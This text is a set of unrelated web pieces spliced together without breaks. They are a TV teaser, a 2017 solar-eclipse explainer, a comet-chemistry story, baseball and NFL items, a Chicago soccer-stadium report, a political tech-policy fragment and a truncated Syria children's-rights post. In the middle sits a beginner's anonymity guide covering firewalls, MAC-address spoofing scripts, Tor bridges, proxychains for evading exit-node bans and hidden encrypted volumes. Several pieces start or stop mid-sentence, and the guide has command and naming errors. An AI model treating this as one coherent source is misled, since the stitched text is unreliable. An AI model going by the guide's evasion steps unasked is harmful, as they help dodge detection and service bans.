Of course, Martin's final two books have yet to be published. We're still waiting on the sixth book in the series, "The Winds of Winter." But that's a story for another time.
While we start the long wait for season eight, read our list of 21 key predictions we have for the final episodes of "Game of Thrones" in the meantime.The year of the Great American Total Solar Eclipse is upon us.
On Aug. 21, the moon will completely blot out the sun for observers in 12 states, from Oregon to South Carolina, in the first total solar eclipse visible from the United States mainland since 1979. The rest of North America, and parts of South America, Africa and Europe, will be treated to a partial eclipse.
Enthusiasm has long been high for the Aug. 21 event, and the excitement will only build in the weeks and months ahead. [Total Solar Eclipse 2017: When, Where & How to See It (Safely)]
It's "going to be the most observed, most filmed and photographed, most studied and documented, and, probably, the most appreciated of all eclipses in human history," Lika Guhathakurta, lead scientist for the Living With a Star program at NASA Headquarters in Washington, D.C., said last month at the annual fall meeting of the American Geophysical Union (AGU) in San Francisco.
A special solar eclipse
By a cosmic coincidence, the sun is about 400 times wider than the moon but lies 400 times farther from Earth than the rocky satellite does. That means the two objects appear to be the same size in the sky. When they line up just right, the moon blocks the sun's disk entirely, and Earthlings see a total solar eclipse. [Total Solar Eclipse 2017: Path, Viewing Maps and Photo Guide]
This happens somewhere on Earth just once every 18 months or so, though partial solar eclipses — in which the moon takes a bite out of the solar disk — are more common. On average, two to five solar eclipses of some type occur every year. (Solar eclipses are rare because the moon's orbit is inclined by about 5 degrees relative to that of Earth. If the two bodies orbited in exactly the same plane, Earth-based observers would see a solar eclipse every month, during the moon's "new" phase.)
Total solar eclipses are special, and not just because they happen infrequently, Guhathakurta said.
"A total solar eclipse, I would say, is widely regarded as probably one of the most breathtaking, amazing phenomena that you can observe from this planet Earth with your own eyes," she said. "With unaided eyes, you can actually see the outer atmosphere of the sun."
The Aug. 21 event will also bring a strange and brief false night to the landscapes on the "path of totality."
"All of a sudden, you know, you see a 360-degree sunset all around you," Guhathakurta said. "Stars appear. The temperature drops. You can actually hear chirping of grasshoppers. So, animals actually naturally go back to their nocturnal behavior." [Solar Eclipses: An Observer's Guide (Infographic)]
Many people will be able to experience this on Aug. 21 if they so choose: About 220 million folks live within one day's drive of the totality path, according to Space.com skywatching columnist Joe Rao. That 70-mile-wide (113 kilometers) path extends from the coast of Oregon through Idaho, Wyoming, Nebraska, Kansas, Missouri, Illinois, Kentucky, Tennessee, Georgia, North Carolina and South Carolina.
Totality will be fleeting everywhere along the path; the area around Carbondale, Illinois, gets the most protracted view, at 2 minutes and 40 seconds, NASA officials said.
It's been 99 years since a total solar eclipse was so accessible to Americans from coast to coast, eclipse expert Jay Pasachoff, an astronomer at Williams College in Massachusetts, told Space.com last year. In addition, the Aug. 21 event will be the first-ever solar eclipse whose path of totality hits no country other than the United States. (The last one to meet this geographical standard occurred before the nation gained its independence in 1776.)
Scientists eager, too
Skywatchers aren't the only people excited about the eclipse. Scientists are pumped, too, because the celestial show will give them a rare opportunity to study the sun's outer atmosphere, known as the corona.
How Solar Eclipses Work: When the moon covers up the sun, skywatchers delight in the opportunity to see a rare spectacle. See how solar eclipses occur in this Space.com infographic (Image: © Karl Tate, SPACE.com Contributor)
Temperatures in the faint, wispy corona — which the sun's overwhelming glare usually hides — top 1.8 million degrees Fahrenheit (1 million degrees Celsius). That's far hotter than the sun's surface, which is a pedestrian (by comparison) 11,000 degrees F (6,000 degrees C).
Getting a good look at the corona could shed light on just why it's so sizzling, Pasachoff and other researchers have said.
"This eclipse, because it's going over this [American] landmass, allows us to use all our ground-based equipment, balloons [and] new camera technology to really gather data and kind of understand the sun-Earth connection, but also study the corona in great detail," Guhathakurta said.
Be safe!
You can safely view the total solar eclipse without eye protection, but only during totality. And, as stated above, totality will be brief everywhere. So be very careful: Make absolutely sure the eclipse is in its total phase before raising your naked eye to the sky.
At all other times — to view the unblocked sun, or the solar eclipse in its partial phase — you'll need to use protection, such as special eclipse glasses or No. 14 welder's glass (or solar filters, if you're using a telescope.) Otherwise, serious and permanent eye damage can result.
You can learn more about safe eclipse viewing in this Space.com infographic.
Editor's Note: If you take a great photo of the 2017 solar eclipse or any other celestial sight you'd like to share with us and our news partners for a possible story or image gallery, send images and comments in to managing editor Tariq Malik at spacephotos@space.com.
Follow Mike Wall on Twitter @michaeldwall and Google+. Follow us @Spacedotcom, Facebook or Google+. Originally published on Space.com.Share. Equivalent of 500 bottles of wine per second at peak activity. Equivalent of 500 bottles of wine per second at peak activity.
Scientists studying renowned Comet Lovejoy have found that the celestial object is spewing copious amounts of alcohol and a type of sugar into space, according to NASA.
"We found that comet Lovejoy was releasing as much alcohol as in at least 500 bottles of wine every second during its peak activity," said Nicolas Biver from the Paris Observatory and lead author of the paper published in Science Advances.
It’s the first time a comet has been observed emitting the same type of alcohol found in alcoholic beverages. Along with ethyl alcohol, Lovejoy is releasing 21 different organic molecules in gas from the comet including a simple sugar called glycolaldehyde.
One of the brightest comets since comet Hale-Bopp in 1997, Lovejoy (known as C/2014 Q2) also released water at the rate of 20 tons per second when it survived a close flyby of the sun in January.
The scientists observed a microwave glow when they studied the comet’s atmosphere during the flyby, allowing them to analyze and identify the different molecules.
Not only do comets hold clues to how the solar system was made, some scientists hypothesize that comet impacts on early Earth deposited organic molecules that may have helped in the origin of life. The research team believes the latest findings of complex molecules in Lovejoy adds support to the hypothesis.
Exit Theatre Mode
"The result definitely promotes the idea the comets carry very complex chemistry," said Stefanie Milam from NASA's Goddard Space Flight Center and a co-author on the paper. "During the Late Heavy Bombardment about 3.8 billion years ago, when many comets and asteroids were blasting into Earth and we were getting our first oceans, life didn't have to start with just simple molecules like water, carbon monoxide, and nitrogen.
“Instead, life had something that was much more sophisticated on a molecular level,” he said. “We're finding molecules with multiple carbon atoms. So now you can see where sugars start forming, as well as more complex organics such as amino acids -- the building blocks of proteins -- or nucleobases, the building blocks of DNA. These can start forming much easier than beginning with molecules with only two or three atoms."
Image Credit: Nicolas Biver
Jenna Pitcher is a freelance writer for IGN. You can follow her on Twitter.The Cardinals have claimed outfielder Rafael Ortega off waivers from the Rangers, according to MLB.com's Jenifer Langosch (on Twitter). Chris Cotillo of MLB Daily Dish first tweeted that Ortega had been claimed by an unknown team. This is the second time Ortega has been claimed on waivers this offseason, as the Rangers initially claimed him from the Rockies back in late November.
Ortega entered the 2013 campaign ranked 15th among Rockies prospects, according to Baseball America, who called him a true center fielder with a plus, accurate arm and plus speed. BA noted that he needs to be careful not to fall in love with swinging for the fences after a home run, though he does have surprising pop for someone with a 5'11", 160-pound frame.
The 22-year-old Ortega saw his season cut short by injuries in 2013, and he posted just a.228/.315/.297 batting line in 178 plate appearances when healthy. Ortega has three 30-steal campaigns under his belt in the minors and has already received a brief taste of the Majors, totaling six plate appearances with the Rockies in 2012.Over the weekend we wrote about a potential new soccer stadium on the North Side of the city being floated as part of the proposal to bring Amazon’s new headquarters to Chicago. Some new information has surfaced today that lends credence to the plans for a soccer stadium— while casting doubts on the Chicago Fire’s involvement in these plans.
The plans for a new stadium were part of the HQ2 proposal by developers Sterling Bay. Hot Time learned today of the existance of Sterling Soccer LLC, a new company that filed their papers last month in Delaware.
Hot Time also became aware of new trademarks filed by Sterling Soccer for a pair of new professional soccer teams— “Chicago Wind” and “Chicago River.”
You can look up this information for yourself at the US Patent & Trademark Office’s website.
The attorney of record is listed as Dean Gournis, a partner at the law firm of Kaplan, Papadakis, & Gournis, whose office is on North LaSalle Street in downtown Chicago. I called Mr. Gournis’ office earlier today to ask him for comment on Sterling Soccer and the trademark fillings. A receptionist told me he was not available. This post will be updated if Mr. Gournis returns my voicemail.
We also reached out to the Fire front office for comment on this story. We’ll update this post once they respond.
While these are just business and trademark filings and, on the surface, don’t amount to much, this could be an indication that the soccer stadium is indeed a major part of Chicago’s HQ2 bid. It could also be an indication that the Chicago Fire are not part of these discussions and, conceivably, are not being considered as potential tenants of a new soccer stadium.
The trademarks, and the lack of noise coming from Bridgeview about the Amazon proposal, raises some interesting questions. Is the Chicago Fire involved at all in the new stadium talks? Is this being developed with a new professional soccer team in mind? If it’s the latter, who is the ownership group behind this new team?
(I also reached out to Peter Wilt, the former Fire GM who was previously spearheading efforts to bring an NASL expansion team to Chicago and is currently leading the formation of a new Division III soccer league. Mr. Wilt declined to comment on this story.)
We’ll keep you posted as new information becomes available.All Credits go to beac0n, thanks for contacting us and contributing the guide you created!
As people requested – here is a link to download this guide as a PDF.
Intro
The goal is to bring together enough information in one document for a beginner to get started. Visiting countless sites, and combing the internet for information can make it obvious your desire to obtain anonymity, and lead to errors, due to conflicting information. Every effort has been made to make this document accurate. This guide is image heavy so it may take some time to load via Tor.
Some general sources/Big Thanks
For more general guides checkout:
EFF Surveillance Self-Defense project
Riseup.net Security Guide
Security in a box
TAILS Documentation – for those looking for a solid starting place TAILS OS is a great choice.
Thanks!
securityinabox.org
Deepdotweb.com
EFF and EPIC
riseup.net
For educational purposes.
Not legal advice or call to action.
Table of Contents
Technical Information
Strong Passwords
It’s difficult to remember many passwords. First off it’s good to select a strong password manager. Keepassx is cross-platform, and has good security features, like encryption by password and using a keyfile. It also allows you to generate strong passwords, so if you’re not worried about memorization it’s good practice to let Keepassx generate secure random passwords.
It’s best not to use services that store your passwords in the cloud. If you need you can back up your encrypted password database, on a secure server, in an encrypted directory, and store your keyfile in a separate location.
Passwords for encryption and critical access should be prioritized. Even a long randomized password may not be a secure enough method. EFF recommends you try the diceware method, or basically randomly chain a number of words selected from a word list based on dice roles. Full details are available here.
Although it’s an annoyance, passwords are the ever present key to what matters most to you.
Internet Connectivity
No service provider should be presumed to completely protect your privacy. Even if your VPN/Proxy or other ISP promises no logs, or identifiable information, time and time again information has been collected and used against those seeking anonymity. Open-Source technologies where you are able to examine source, yet trust is still ultimately placed in the hands of developers, are better than trusting a Government of other entity with your security.
Consider reading the Terms of Service any time you sign up for a service or install something.
Also remember that the times you use technology can be used to build a profile of your location for identification. Consider changing up your times of connectivity. On forums, chat and other services, it may be worthwhile to disable the notification that outwardly displays when you are on line or select invisible mode when applicable.
Firewall
UFW (Uncomplicated Firewall) is a great general firewall for linuux
sudo apt-get install ufw sudo ufw enable sudo ufw default deny incoming
as some malware may utilize outgoing traffic, like encrypted udp, it may be worthwhile to limit outgoing ports
sudo ufw default deny outgoing
it may be better to specifically allow/deny the specific ports of concern.
sudo ufw allow port/tcp sudo ufw allow port/udp
Then when you’re done check the status
sudo ufw status 1 sudo ufw status
you can see I’ve blocked some specific ports in this example
For more advanced configuration visit.
Changing MAC Address
A MAC Address is a hardware specific identifier for you network interface. In some cases it may be useful to change your mac address to avoid detection.
Arch Linux Guide:
sudo apt-get install macchanger for a gui sudo apt-get install macchange-gtk 1 2 3 sudo apt - get install macchanger for a gui sudo apt - get install macchange - gtk
With macchanger-gtk
heck your current mac addresses for future reference
macchanger eth0 macchanger wlan0 1 2 macchanger eth0 macchanger wlan0
for a random macaddress
sudo ifconfig wlan0 down 1 sudo ifconfig wlan0 down
sudo macchanger -r wlan0 1 sudo macchanger - r wlan0
This will change the mac address to a random value
macchanger -e wlan0 1 macchanger - e wlan0
will change the mac address but keep it as the same vendor. This can be useful if you’re spoofing your address but you don’t want it obviously coming from a device not on the network.
sudo macchanger -A wlan0 1 sudo macchanger - A wlan0
This will change the devices MAC to a random MAC of any kind, regardless of the original device.
sudo macchanger —mac=XX:XX:XX:XX:XX:XX interface 1 sudo macchanger — mac = XX : XX : XX : XX : XX : XX interface
Will change to a specific mac address of your choice
You may want to write a script to start automatically on network manager start, and network manager shut down.
sudo nano /etc/init/macchanger.conf 1 sudo nano / etc / init / macchanger. conf
description "change mac addresses" start on starting network-manager pre-start script /usr/bin/macchanger -A wlan0 /usr/bin/macchanger -A eth0 /usr/bin/macchanger -A wmaster0 /usr/bin/macchanger -A pan0 #/usr/bin/logger wlan0 `/usr/bin/macchanger -s wlan0` #/usr/bin/logger eth0 `/usr/bin/macchanger -s eth0` end script 1 2 3 4 5 6 7 8 9 10 11 12 13 description "change mac addresses" start on starting network - manager pre - start script / usr / bin / macchanger - A wlan0 / usr / bin / macchanger - A eth0 / usr / bin / macchanger - A wmaster0 / usr / bin / macchanger - A pan0 #/usr/bin/logger wlan0 `/usr/bin/macchanger -s wlan0` #/usr/bin/logger eth0 `/usr/bin/macchanger -s eth0` end script
you can switch out -A for -r or whatever other configuration you might want.
sudo nano /etc/network/if-post-down.d/random-mac 1 sudo nano / etc / network / if - post - down. d / random - mac
#!/bin/sh MACCHANGER=/usr/bin/macchanger [ "$IFACE"!= "lo" ] || exit 0 # Bring down interface (for wireless cards that are up to scan for networks), change MAC address to a random vendor address, bring up the interface /sbin/ifconfig "$IFACE" down macchanger -A "$IFACE" 1 2 3 4 5 6 7 8 9 10 #!/bin/sh MACCHANGER = / usr / bin / macchanger [ "$IFACE"!= "lo" ] || exit 0 # Bring down interface (for wireless cards that are up to scan for networks), change MAC address to a random vendor address, bring up the interface / sbin / ifconfig "$IFACE" down macchanger - A "$IFACE"
sudo chmod +x /etc/network/if-post-down.d/random-mac sudo service network-manager restart
Intrustion Detection
The basic premise is monitoring the system for unusual activity. First is to keep an eye on the logs, and the next step is to consider an IDS like snort. There’s a learning curve, but here are some useful tools, that with some research can increase security especially if you allow others to access the system.
Open Source SECurity www.ossec.net http://www.ossec.net/?page_id=160
You may want to get yourself acquainted with some of the common security tools available. Here’s a good list, definitely nmap, tcpdump, netcat and wireshark are useful.
Disk Encryption
On first install of a linux operating system you should be prompted to create an encrypted LVM partition, and encrypt your home folder. This is a good start. For further security there is veracrypt.
Veracrypt is a fork of Truecrypt that is better at patching vulnerabilities. I see a lot of tutorials touting Truecrypt, and it’s in most package managers. However, you should download Veracrypt.
Download: veracrypt.codeplex.com/releases/view/56…
Here’s a good beginners tutorial for Veracrypt
How to create a hidden encrypted volume with Veracrypt
Select Create Volume
Select Create an Encrypted File Container
Select Hidden Veracrypt volume
Choose volume location and select never save history:
Select your encryption algorithm, AES is fine, but you may chose more secure
Select Hash Algorithm, SHA-512 is sufficient
Select Use Key files and click the key files box… optional:
Generate save the new key.
Click add files and add the key
Click Generate Random Keyfile box if you want another key
You may also use existing keys:
Click format to create the volume that will be visible:
Now it’s recommended to load this volume with contents that appear sensitive
You will follow the same steps, remember this is the hidden volume consider it’s security most important.
When complete you will see this warning, read it carefully.
Browsers
Tor Browser
Download at: torproject.org
All Tor network addresses will be followed with.onion, not.com. It is far more secure browsing.onion services.
In depth explanation of Tor by its head developer Arma.
Once you’ve download tor browser, expand the zipped file. Then
cd tordirectory./start-tor-browser.desktop 1 2 cd tordirectory. / start - tor - browser. desktop
Forbidding javascript and other elements can make web browsing less convenient, but by allowing more elements you open yourself to potential vulnerabilities. It’s best to find the best possible security setting you can withstand while the web browsing experience is still functional.
Configuring Security Settings
Privacy and security settings can be easily configured. Click on the Onion in the top left.
Select “Privacy and Security Settings” Adjust the slider to your desired level of security.
Noscript basics
Depending on your security level selected in Tor, Noscript may not provide any advantage. That main advantage of Noscript is it’s easier to tailor allowing on specific sites, or for specific elements on the fly. Click the S in the Top Left next to the Tor Onion symbol and select forbid scripts globally. You should see a red line across the S. If you allow specific sites, you should check that the red line is there for those you do not allow. Allowing only specific sites may create a fingerprint of your activity. There are some advanced settings under options worth taking a look at.
Tor bridge
in some cases if Tor is blocked or you wish to conceal the use of Tor a bridge can be configured. This makes it more difficult for an ISP to detect Tor. Bridges can help avoid censorship, and if your ISP Blocks Tor Traffic it is much more difficult to detect the nature of the traffic unless deep packet inspection is employed. It’s one of those things that since it’s there, might as well set it up as a per-cautionary measure and see if your connection is still, reliable and fast enough for your standards.
Click Open Settings on the Pop-up Connection Box
Click configure
Select Yes to ISP Censors or Blocks
Censors or Blocks obfs3 is fine, see below for information on other options.
Most likely just skip use a local proxy
Click connect
Optionally if Tor is already started you can:
click the onoin icon in the top left of the browser and select
Open Network Settings
check My ISP Blocks Connections and hit OK.
Blocks Connections and hit OK. Use obfs 3 which is recommended, see next section on other types.
Pluggable Transports
Pluggable Transports are extensions to Tor which utilize it’s pluggable transport API. These are more advanced ways to disguise traffic flow, for instance making it appear as skype traffic or utilizing a flash proxy. Many are now included in the Bridge Option Menu, so this is a good resource to learn more about the specifics. Some may require custom installation.
Firefox
If you need to use another browser Firefox is preferred. Here are some configuration settings and extensions that can be helpful.
Optional Configuration:
In the URL Bar enter: about:config
geo.enabled = false
geo.wifi.uri =leave blank
network.http.accept.default = text/html,application/xhtml+xml,application/xml;q=0.9, / ;q=0.8
;q=0.8 network.http.use-cache = false
network.http.keep-alive.timeout = 600
network.http.max-persistent-connections-per-proxy = 16
network.proxy.socks_remote_dns = true
network.cookie.lifetimePolicy = 2
network.http.sendRefererHeader = 0
network.http.sendSecureXSiteReferrer = false
network.protocol-handler.external = false #set the default and all the sub-settings to false
network.protocol-handler.warn-external = true #set the default and all the sub-settings to true
network.http.pipelining = true
network.http.pipelining.maxrequests = 8
network.http.proxy.keep-alive = true
network.http.proxy.pipelining = true
network.prefetch-next = false
browser.cache.disk.enable = false
browser.cache.offline.enable = false
browser.sessionstore.privacy_level = 2
browser.sessionhistory.max_entries = 2
browser.display.use_document_fonts = 0
intl.charsetmenu.browser.cache = ISO -8859-9, windows-1252, windows-1251, ISO -8859-1, UTF -8
-8859-9, windows-1252, windows-1251, -8859-1, -8 dom.storage.enabled = false
extensions.blocklist.enabled = false
Other useful options:
Disable all plugins: tools → addons → plugins Disable all live bookmarks: bookmarks → bookmarks toolbar → R/click latest headlines → delete Disable all updates: tools → options → advanced → update Enable ‘do not track’ feature: tools → options → privacy Enable private browsing, configure to remember nothing & disable 3rd party cookies: tools → options → privacy
Useful plugins:
it’s best to keep plugins at a minimum but here are some to consider
You may consider visiting ip-check.info to see what data your browser is sending.
Router Configuration
It’s recommended to get a router compatible with an open source firmware. The two major recommended firmwares are Tomato and dd-wrt. In some cases Tor, or a vpn can be run directly on the router, and this can be useful if you find yourself forgetting at times to enable your desired connection. A backup router only used for specific connections may also be useful to swap in and out when secure connection is needed.. For the crafty, a Raspberry Pi can be configured as a local device to route connections through.
Installation is device specific navigate to either the Tomato or dd-wrt site for more information.
Tomato
tomatousb.org
Tor Version: (may not work for all versions)
dd-wrt
www.dd-wrt.com/site/support/router-data…
Tor: do your own research
Raspberry Pi
raspberrypihq.com/how-to-turn-a-raspber…
makezine.com/projects/browse-anonymousl…
Anonymity Networking
Tor
The stand alone Tor daemon can be be found in the Ubuntu/Debian/Arch package manager.
sudo apt-get install tor
sudo pacman -S tor
However, you may wish to visit this link and add their PPA to get the latest version.
You can use Tor as a socks proxy once the service is started, either with the browser bundle or Tor daemon.
Navigate to the Network Settings, and Proxy section of the desired application.
Select Socks 4 Proxy and enter 127.0.0.1 port 9050.
This will route desired connections through Tor. TAILS automatically routes all connections through Tor.
i2p
Alternative to Tor, not as widely used since it requires some more dependencies and not as simple setup. i2p addresses always display as.i2p
Unlike tor i2p is a self contained network, it does not function as a proxy with traditional exit nodes. It is generally used to browse with the network of what are called eepsites.
Ubuntu/Debian based systems
follow guide to add i2p to package list for ubuntu: sudo apt-add-repository ppa:i2p-maintainers/i2p for debian other see, and download necessary java files.
sudo apt-get update sudo apt-get install i2p
starting i2p in terminal:
do not run as root or use sudo
i2p router start
If you have issue connecting to.i2p addresses check configuration by visiting: localhost:7657/confignet
One main issue is your firewall or router is blocking connections. Click networking.
Basic port unblocking
IP Tables
sudo iptables -A INPUT -p tcp —dport i2p port here -j ACCEPT sudo iptables -L
UFW
sudo ufw allow i2p port here/tcp sudo ufw status
Other Anonymity Networks and Software
Here are two good resources for additional information on available Anonymity Networks and Software:
gnunet.org/links/
freehaven.net/anonbib/topic.html
VPN
Community VPNs
Good for activists and journalists:
riseup.net
autistici.org
Paid VPNs
Recommended resource:
Our Best VPN’s Chart and “Is your VPN legit or shit?” post (remember their claims, are not a promise and even their systems could be vulnerable)
Free VPNs
I don’t recommend these at all but will list one that has been reliable. You’ll have to search for more.
Unfortunately you should have no expectation of privacy on a free VPN but for one time use if you have no other choice it may be helpful.
Of the free VPNs seems most reliable, please delicately read terms of service and
utilize Tor on-top of the VPN with any sensitive content. Free VPNs are often banned
from posting on many services due to trolling. You can search for others but so far VPNBOOK just works.
Proxy Chains
Sometimes it may be necessary to use a proxy after the Tor exit node, for instance to appear in a desired location, or if exit nodes are banned on a service.
The setup is relatively simple on Linux.
sudo apt-get install proxychains sudo nano /etc/proxychains.conf following ProxyList add
socks4 127.0.0.1 9050 #Tor must go first
socks5 ipaddress port
proxies etc……
You will need to search for public socks proxy lists to populate.
start firefox in terminal: proxychains firefox
Operating Systems
The best first step is stop the use of Windows and MAC OSX, and stick with Linux.
Flash Firmware
Locate the firmware model of the motherboard on your computer and flash it with a fresh version. Some deeper level attacks embed themselves in the firmware, so it’s good practice for a clean start.
Enabling a BIOS boot password
Usually f12 to enter BIOS, find security section (UEFI may be different)
USB Bootable Operating Systems:
Recommended: TAILS, Alternatives: Whonix, Liberté Linux and QubesOS
This guide shows how to install TAILS on a USB Drive from a Virtual Machine
Download Virtual Box Download the latest extension package Double click on the extension package and it should open Virtual Box, click install Download TAILS Verify file identity with PGP Open Virtualbox and connect the USB drive
Click new in the top left:
Name your VM and select Linux 64bit or 32bit depending on which you downloaded:
Set memory size at least 1024 for smooth performance
Create a virtual hard drive
VDI Image is suitable
You can select dynamically allocated and set a starting amount at a couple gigabytes
Select the image and click start
Select the location of the.iso file you downloaded.
Once started go to Applications→Tails→Tails Installer
Make sure the USB Drive is present you will see a green plus, over the usb icon in this image
Select clone and install and follow the steps for installation
Once you’ve started tails you can create a persistent volume to store static content
Next reboot you will be prompted if you wish to use persistent or not, only use when necessary.
Linux (image files can be found at http://distrowatch.org)
Recommended base Operating Systems: Archlinux, or Kali, alternatives: Debian Mint Ubuntu
although just using Tails as a bootable OS and having some persistent storage is probably better than most can do in terms of hardening their base system.
Secure VM with Whonix and Virtualbox
Download both Whonix-Gateway and Workstation Download Virtual Box You may want to verify the file identities using the Signing key see other sections on this.
Click file import appliance and select the Whonix Gateway.ova file:
Keep the settings default and click import
Repeat for workstation, select the.ova
Import without changing settings
Select both and start both at the same time.
Once workstation has finished booting you will see this screen.
You will keep both VM Windows open but all activities will be within the Whonix-Workstation VM Window
Base System
Essentials:
Disk encryption – LVM Encryption during install, encrypt home directory
Bleachbit – clearing day to day files (RAM wiping is experimental but worth it on shutdown)
secure-delete package – secure wiping content
Intro guides on hardening other recommended base systems.
(may be out of date look for hardening guides)
Secure Data-Wiping Linux
Consider using an OS like TAILS with minimal persistent storage and automatic memory wiping to make this easier.
Proceed with extreme caution, man pages are your friend.
|
what I'll call bad actors, you know what, they'd continue" to prey on consumers.
Advisors needed?
On some tech policy issues, Johnson admitted he hasn't worked out all the details. He said he might change his mind on issues like AT&T's acquisition of T-Mobile once he has time to dig into the details. He told us that "my verdict is out on copyright laws." And admitted he has nothing at all to say about spectrum policy.
So we asked the obvious question: who will help him flesh out his tech policy agenda? Presidential candidates commonly assemble a panel of policy experts to advise them on the many complex issues for which they would be responsible as president.
But Johnson is taking a different approach. When he ran for governor, "I never had appointments in mind ahead of time," he said. "It was really an application process." He believes he can learn what he needs to know about these issues during the application process for positions like FCC commissioner. "Within a couple of interviews," he says, "I become much more knowledgeable about what the issues are and how they can and can't be affected."
That strategy might have worked for a governor, but we're skeptical it will work well in the Oval Office. Presidents deal with a wider range of issues and make many more appointments than governors do. If Johnson beats President Obama in the 2012 election, he's going to be extremely busy in the 11 weeks leading up to his inauguration. He'll need to interview hundreds of candidates for dozens of open positions. He's unlikely to have the luxury of in-depth philosophical conversations with each candidate. So it's important that he does at least some of his homework in advance.
Naming a tech policy advisor wouldn't just help Johnson develop his own views, it would also give voters an idea of what they're voting for. If Johnson chose as an advisor a copyright maximalist or a strong supporter of spectrum auctions, that's a clue about the kinds of policies he would pursue in office.
Johnson's views make him an awkward fit for America's two-party system. On many issues, including free speech, government surveillance, and gay rights, he is well to the left of President Obama. On others, including network neutrality, antitrust regulation, taxes, and spending, he is solidly in the conservative camp. As a Republican, his current challenge is to convince primary voters that his liberal views on social issues have a place in the Republican party. So far, he hasn't broken through into the top tier of the Republican field. But his candidacy is a useful reminder that American politics don't always fit neatly on a left-right spectrum.My unabashed praise for Cam Jordan knows no bounds.
I've already deemed the New Orleans Saints player the best overall defensive end in the NFL. I see no reason to back down from the claim, especially since he's hit the 10-sack mark through only 11 games this season.
Jordan's two sacks on Rams quarterback Jared Goff pushed him to double digits for the third time in his career. Both seasons Jordan received an invite to the Pro Bowl. This year has been the fastest he's reached 10 sacks in his seven-year career.
Arizona's Chandler Jones and Minnesota's Everson Griffin are within striking distance as they lead the league with 12 sacks. The only others ahead of Jordan are Dallas' Demarcus Lawrence (11), Jacksonville's Calais Campbell (11) and the Chargers' Joey Bosa (10.5).
Jordan has become the fourth player in Saints history to amass double-digit sack totals at least three times in a black and gold uniform. Pro Football Hall of Famer Rickey Jackson leads the pack with six double-digit sack seasons, followed by Wayne Martin and Pat Swilling with five.
The 2011 first-round pick totes 56.5 career sacks with him into the Saints' Week 13 matchup at home against Carolina. Jordan sits 11 sacks behind his friend and mentor Will Smith for fourth on the all-time Saints list. Jordan is also 20 away from reaching Swilling and 26 sacks behind Martin.
Reaching Jackson would be Canton-worthy considering Jackson took down quarterbacks 115 times with the Saints and 128 sacks during his entire career.
Jackson played until he was 38 years old, including a 9.5-sack campaign in his final season with San Francisco in 1995.
Jordan turned 28 in July and his deal (maxing out at nearly $62 million) expires when he's 31 after the 2020 campaign. It's not impossible for Jordan to catch Jackson's totals with the Saints. But it's Jackson's longevity that truly marked the 1981 second-round pick for the Hall of Fame. Jackson piled up 35 sacks from 1983-1985. He stacked up 36.5 sacks from 1991-1993.
Jordan would have to last as long as the three active career sack leaders Julius Peppers (37 years old, 152 sacks), Dwight Freeney (37, 125.5) and Terrell Suggs (35, 124) to catch Jackson. All three of these players should reach Canton at some point as well.
Still, reaching 10 sacks through only 11 games is an impressive feat.
Jackson only hit the 10-sack mark through 11 games once in his Saints career with 11 in 1992. Swilling reached 13.5 sacks through only 11 games twice in 1989 (17 total) and 1991 (16.5 total). Other Saints to reach double digits through 11 games were Smith (10, 2009), La'Roi Glover (13, 2000), Renaldo Turnbull (12, 1993) and Charlie Clemons (11.5, 2001).
In terms of active career sacks, Jordan ranks 24th on the leaderboard. Take a glance at those above Jordan and it spells out the sick amount of pass-rushing talent from the 2011 NFL Draft class:
No. 8 (active ranking) Von Miller: 82 sacks
No. 9 J.J. Watt: 74
No. 12 Justin Houston: 68.5
No. 14 Ryan Kerrigan: 67.5
No. 22 Robert Quinn: 57.5
Jordan's career trajectory points up, which can't be said about some of the player in the class of 2011 alumni.
Injuries have badly hampered Watt the last two seasons with only 1.5 sacks in the span. Houston dipped in 2015 and 2016 with 11.5 total sacks, but he also only played a combined 16 games in those two years (8.5 through 11 games this year). Quinn missed 15 games in 2015 and 2016, resulting in nine total sacks.
Jordan's play has been a major factor into the turnaround of the 2017 Saints. I'm sure there's more to come from Jordan this season.
The stingy play by the secondary has aided the Saints pass rush. It provides the defensive line a tick longer to reach the quarterback, and Jordan has pointed that out many times this season.
But Jordan sacked Goff twice in the team's 26-20 loss without the Saints' top two cornerbacks Marshon Lattimore and Key Crawley in the lineup. He's possibly on his way to his best season.
Jordan has supplied plenty of evidence to believe he's approaching the best years of his prime. And there's no denying Jordan will be known as one of the best defensive players in the history of the Saints.
That's saying something given the history of great pass rushers to roam the Superdome.
DOUBLE-DIGIT SACK SEASONS FOR ALL-TIME SAINTS TOP PASS RUSHERS
Rickey Jackson Year Sacks through 11 games Season total 1983 7.5 12 1984 9 12 1985 8.5 11 1991 8 11.5 1992 11 13.5 1993 9.5 11.5
Wayne Martin Year Sacks through 11 games Season total 1992 8 15.5 1994 7 10 1995 9 13 1996 7.5 11 1997 8.5 10.5
Pat Swilling Year Sacks through 11 games Season total 1987 10.5 10.5 1989 13.5 16.5 1990 8 11 1991 13.5 17 1992 9.5 10.5
Will Smith Year Sacks through 11 games Season total 2006 8.5 10.5 2009 10 13
Cam Jordan Year Sacks through 11 games Season total 2013 9.5 12.5 2015 7 10 2017 10?
Joe Johnson Year Sacks through 11 games Season total 2000 9 12
La'Roi Glover Year Sacks through 11 games Season total 1998 8 10 2000 13 17
Charles Grant Year Sacks through 11 games Season total 2003 7 10 2004 7.5 10.5
Darren Howard Year Sacks through 11 games Season total 2000 7 11 2004 8.5 11
Renaldo Turnbull Year Sacks through 11 games Season total 1993 12 13
Bruce Clark Year Sacks through 11 games Season total 1984 9.5 10.5
Junior Galette Year Sacks through 11 games Season total 2013 6 12 2014 7 10
Charlie Clemons Year Sacks through 11 games Season total 2001 11.5 13.5
Darion Conner Year Sacks through 11 games Season total 1994 9 10.5
*****
Tune in to "Dunc & Holder" on Sports 1280 AM on Monday through Friday from 10 a.m.-noon. Subscribe to our Saints YouTube channel, download our mobile app and like our Facebook page.This post is part of our special coverage Syria Protests 2011/13
During the last 10 years, around 10 million children are estimated to have been killed as a result of war, reports the
Children's Rights Portal. The site categorizes child war victims as civilian victims, soldiers, displaced, orphans, wounded or handicapped, imprisoned and exploited children (sexual exploitation or even forced labor). Despite the fact that the right of children of survival and protection are guaranteed according to the Vienna Declaration and Programme of Action (VDPA), and UN Convention on the Rights of the Child, which was signed on 20 November 1989, children continue to suffer around the world.
UN Convention on the Rights of the Child, Article 19: State Parties must “take all appropriate legislative, administrative, social and educational measures to protect the child from all forms of physical or mental violence”
Forgotten victims
Since March 2011, when the Syrian revolution erupted against Bashar Al Assad's regime, the children of Syria were among the first victims of violence, torture, and killings. According to HRW report: “We’ve Never Seen Such Horror” on June 2011:
